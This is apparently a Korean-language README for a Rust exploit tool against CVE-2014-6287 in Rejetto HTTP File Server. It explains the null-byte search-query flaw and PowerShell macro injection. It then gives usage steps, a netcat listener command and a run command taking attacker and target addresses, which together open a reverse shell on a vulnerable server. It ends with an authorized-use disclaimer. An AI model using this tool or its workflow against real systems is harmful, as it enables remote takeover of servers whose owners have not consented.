CVE-2014-6287 - Rejetto HTTP File Server RCE 익스플로잇

Rejetto HTTP File Server (HFS) 2.3x에서 2.3c 이전 버전을 대상으로 하는 CVE-2014-6287 익스플로잇의 Rust 구현입니다.

취약점 개요

CVE-2014-6287은 Rejetto HTTP File Server (HFS)의 치명적인 원격 코드 실행 취약점입니다.

기술적 세부 사항

• 영향을 받는 소프트웨어: Rejetto HTTP File Server (HFS) 2.3x 및 2.3c 이전 버전
• 취약점 유형: 원격 코드 실행 (RCE)
• CVSS 점수: 10.0 (Critical)
• CWE: CWE-94 (Improper Control of Generation of Code)

설명

Rejetto HTTP File Server의 parserLib.pas에 있는 findMacroMarker 함수는 원격 공격자가 검색 작업에서 %00 시퀀스를 통해 임의의 프로그램을 실행할 수 있게 합니다. 이 취약점을 통해 공격자는 입력 검증을 우회하고 대상 시스템에서 실행되는 악성 코드를 주입할 수 있습니다.

익스플로잇은 다음과 같은 방식으로 동작합니다:

1. 널 바이트(%00)를 포함한 악성 검색 쿼리를 구성
2. 매크로 구분자 {.와 .} 안에 PowerShell 명령을 주입
3. 서버가 매크로를 처리하고 포함된 PowerShell 코드를 실행
4. 공격자에게 역방향 셸 연결을 설정

사용 방법

1단계: Netcat 리스너 설정

익스플로잇을 실행하기 전에 공격 머신에서 역방향 셸을 받기 위한 리스너를 설정하세요:

# <LPORT>를 원하는 리스닝 포트로 바꾸세요
nc -lvnp <LPORT>

2단계: 익스플로잇 실행

cargo run -- -l <LHOST> -p <LPORT> -r <RHOST> [-t <RPORT>]

필수 매개변수:

• -l, --lhost <LHOST>: 사용자의 로컬 IP 주소 (공격자 머신)
• -p, --lport <LPORT>: 역방향 셸을 위한 로컬 포트
• -r, --rhost <RHOST>: 대상 IP 주소 (취약한 HFS 서버)

선택 매개변수:

• -t, --rport <RPORT>: 대상 포트 (기본값: 80)

면책 조항

이 도구는 교육 및 승인된 침투 테스트 목적으로만 사용하세요. 책임감 있게 사용하고, 소유한 시스템이나 명시적 허가를 받은 시스템에서만 사용하세요.